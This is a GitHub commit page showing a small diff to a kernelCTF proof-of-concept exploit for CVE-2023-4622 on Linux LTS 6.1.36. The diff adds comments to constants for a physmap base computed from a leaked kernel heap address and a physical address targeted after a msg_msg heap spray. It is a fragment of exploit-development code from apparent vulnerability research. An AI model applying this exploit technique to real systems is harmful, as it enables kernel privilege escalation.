We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent dddf30b commit c9ef268Copy full SHA for c9ef268
pocs/linux/kernelctf/CVE-2023-4622_lts/exploit/lts-6.1.36/poc.c
@@ -202,9 +202,9 @@ void leak()
202
printf("choose 0x%lx 0x%lx\n", KERNEL_BASE, LEAKED_KHEAP);
203
}
204
205
-#define FIXED_OFFSET 0x140000000
206
-#define PAGE_OFFSET_BASE (LEAKED_KHEAP - FIXED_OFFSET)
207
-#define TARGET_PHYS_ADDR 0x82e2380
+#define FIXED_OFFSET 0x140000000
+#define PAGE_OFFSET_BASE (LEAKED_KHEAP - FIXED_OFFSET) // physmap base of physical address 0x0
+#define TARGET_PHYS_ADDR 0x82e2380 // high probability addr we found msg_msg after spray 794MB msg
208
#define PHYS_ADDR_MSG (PAGE_OFFSET_BASE + TARGET_PHYS_ADDR)
209
210
#define NUM_QUEUE_MAX 32000
0 commit comments